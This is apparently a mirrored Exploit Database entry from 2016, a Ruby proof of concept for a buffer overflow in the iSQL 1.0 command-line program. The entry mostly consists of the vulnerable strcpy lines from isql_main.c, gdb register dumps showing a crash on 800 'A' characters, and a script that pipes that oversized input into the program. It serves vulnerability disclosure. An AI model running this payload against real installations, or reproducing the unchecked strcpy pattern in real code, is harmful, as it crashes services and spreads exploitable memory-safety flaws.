iSQL 1.0 – ‘isql_main.c’ Buffer Overflow (PoC)

• Exploit Database
• 112 阅读

• 作者： HaHwul
  日期： 2016-06-13
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39939/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65

  #!/bin/ruby # Exploit Title: iSQL(RL) 1.0 - Buffer Overflow(isql_main.c) # Date: 2016-06-13 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: https://github.com/roselone/iSQL # Software Link: https://github.com/roselone/iSQL/archive/master.zip # Version: 1.0 # Tested on: Debian [wheezy] # CVE : none =begin ### Vulnerability Point :: [isql_main.c 453 line] strcpy((char *)cmd+5,str); code is vulnerable :: don&apos;t check str size 446 char *get_MD5(char *str){ 447 FILE *stream; 448 char *buf=malloc(sizeof(char)*33); 449 char cmd[100]; 450 memset(buf,&apos;\0&apos;,sizeof(buf)); 451 memset(cmd,&apos;\0&apos;,sizeof(cmd)); 452 strcpy(cmd,"echo "); //5 453 strcpy((char *)cmd+5,str);   Edit makefile > CFLAGS = -fno-stack-protector #> make   ### gdb history (gdb) r Starting program: /home/noon/Noon/LAB/exploit/vuln_test/iSQL/isql   *************** welcome to ISQL **************** * version 1.0* * Designed by RL * * Copyright (c) 2011, RL. All rights reserved* ************************************************   >username: hwul_test >password: AAAAAAAAAAAAAAAAAAAAAAAAAA...("A" * 800) Program received signal SIGSEGV, Segmentation fault.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0x000000000040644c in get_MD5 ()   (gdb) x/s $rax 0x4141414141414141: <error: Cannot access memory at address 0x4141414141414141>   (gdb) x/s $rbp 0x4141414141414141: <error: Cannot access memory at address 0x4141414141414141>   ### Registers (gdb) i r rax0x4141414141414141 4702111234474983745 rbx0x00 rcx0x7ffff7b06480 140737348920448 rdx0x00 rsi0x60b610 6338064 rdi0x55 rbp0x4141414141414141 0x4141414141414141 rsp0x7fffffffe948 0x7fffffffe948 r8 0xffffffff 4294967295 r9 0x0 =end puts "iSQL 1.0 - Buffer Overflow" puts " - by hahwul" puts " - Run BUG.." buffer = "A"*800 system("(sleep 5; echo -en &apos;hwul\n&apos;;sleep 1;echo -en &apos;asdf;#{buffer};echo 1&apos;;sleep 10) | ./isql")